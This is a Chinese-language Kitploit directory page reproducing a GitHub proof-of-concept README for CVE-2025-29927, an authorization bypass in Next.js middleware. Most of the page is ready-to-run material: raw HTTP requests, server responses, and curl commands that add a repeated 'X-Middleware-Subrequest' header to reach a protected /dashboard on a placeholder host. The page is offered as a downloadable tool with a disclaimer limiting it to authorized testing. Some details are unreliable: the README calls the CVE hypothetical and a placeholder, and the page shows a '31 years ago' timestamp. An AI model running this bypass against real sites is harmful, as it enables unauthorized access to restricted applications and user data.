Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2025-29927-poc — 授权绕过在Next.js中间件中 | Kitploit
工具/GitHubGitHub/dedibagus/cve-2025-29927-poc
身份验证与授权漏洞分析Web应用程序漏洞利用Web安全渗透测试学习与教育
GitHubdedibagus/cve-2025-29927-poc

cve-2025-29927-poc

授权绕过在Next.js中间件中

查看仓库
31年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

CVE-2025-29927-POC

引言

本仓库包含针对 CVE-2025-29927 的概念验证(PoC),该漏洞为假设性漏洞,展示了 Web 应用程序中中间件处理逻辑的缺陷。该 PoC 演示了如何通过精心构造的 HTTP 请求绕过重定向逻辑以访问受限内容(例如仪表盘)。本项目仅供教育和安全研究目的使用。

免责声明:此 PoC 仅适用于已获得明确授权的受控环境。对非自有或未获授权的系统进行测试属于非法且不道德的行为。


目录

  • 前置条件
  • 漏洞概述
  • 概念验证步骤
    • 步骤 1:初始请求(失败)
    • 步骤 2:修改后的请求(成功)
  • 如何复现
  • 参考资料
  • 贡献
  • 许可协议

前置条件

要遵循本 PoC,你需要:

  • 一个运行易受攻击配置的目标服务器(例如 abc.com)(根据 CVE 详情确定具体软件/版本)。
  • 一个 HTTP 客户端工具,如 curl(curl.se)、Burp Suite(portswigger.net/burp)或自定义脚本。
  • HTTP 协议和标头的基本知识(参见 MDN HTTP 文档)。

漏洞概述

CVE-2025-29927(占位符;请在有官方 CVE 详情时替换)似乎利用了中间件配置错误或逻辑缺陷。PoC 表明,添加自定义标头(X-Middleware-Subrequest)会改变服务器行为,绕过重定向机制以访问受限内容。这可能与中间件(例如使用 Next.js 的 Nginx)处理子请求或验证标头的方式有关。

有关中间件漏洞的更多信息,请参阅 OWASP 中间件安全。


概念验证步骤

该 PoC 包含两个步骤:一个初始失败的请求和一个修改后成功的请求。每个步骤均包含 HTTP 请求、响应及详细说明。

步骤 1:初始请求(失败)

此步骤演示了未添加额外标头时访问 /dashboard 端点的默认服务器行为。

HTTP 请求

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

HTTP 响应

root@kitploit:~
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

image

说明

  • 请求详情:
    • GET /dashboard:尝试访问仪表盘端点。
    • 标准标头如 User-Agent 和 Accept 模拟典型浏览器请求。
  • 响应详情:
    • 307 Temporary Redirect:表示服务器将客户端重定向,可能是由于身份验证、授权或路由逻辑(例如重定向到登录页面)。
    • Server: nginx/1.14.1:标识 Web 服务器软件。
  • 分析:重定向表明存在一种保护机制,阻止直接访问 /dashboard。该响应中缺少 Location 标头(可能为简洁而省略),暗示重定向目标在别处。
  • 参考:了解更多 HTTP 状态码,请参阅 MDN HTTP 状态。

步骤 2:修改后的请求(成功)

此步骤引入了一个自定义标头以绕过重定向,成功获取仪表盘内容。

HTTP 请求

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

HTTP 响应

root@kitploit:~
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

image

说明

  • 请求详情:
    • X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware:添加到原始请求的自定义标头。重复的 middleware 字符串可能利用了中间件栈中的解析或验证缺陷。
    • 其他标头与步骤 1 保持不变。
  • 响应详情:
    • 200 OK:确认成功访问仪表盘内容。
    • Content-Type: text/html; charset=utf-8:表示 HTML 响应,很可能是仪表盘页面。
    • X-Powered-By: Next.js:表明应用程序使用 Next.js,这是一个经常依赖中间件进行路由的 React 框架。
    • Cache-Control:禁止缓存,这是动态、用户特定内容的典型设置。
    • Content-Length: 30174:响应体大小(字节)。
  • 分析:X-Middleware-Subrequest 标头可能欺骗中间件,使其将该请求视为合法的子请求,从而绕过重定向逻辑。这可能表明子请求的验证或处理中存在漏洞。
  • 参考:探索 Next.js 中间件,请参阅 Next.js 文档。

如何复现

请按照以下步骤使用 curl 复现 PoC:

步骤 1:发送初始请求

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

预期输出:307 Temporary Redirect 响应。

步骤 2:发送修改后的请求

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

预期输出:200 OK 响应,包含仪表盘内容。

注意:如果在授权的环境中测试,请将 abc.com 替换为实际目标域名。


参考资料

  • CVE 详情 - 官方 CVE 数据库(有具体 CVE 链接时请更新)。
  • MDN HTTP 文档 - HTTP 协议基础。
  • Next.js 中间件 - Next.js 中间件行为信息。
  • OWASP 中间件安全 - 中间件漏洞概述。
  • curl 手册 - 使用 curl 进行 HTTP 请求的指南。

许可协议

本项目基于 MIT 许可协议。详情请参阅 LICENSE 文件。

下载工具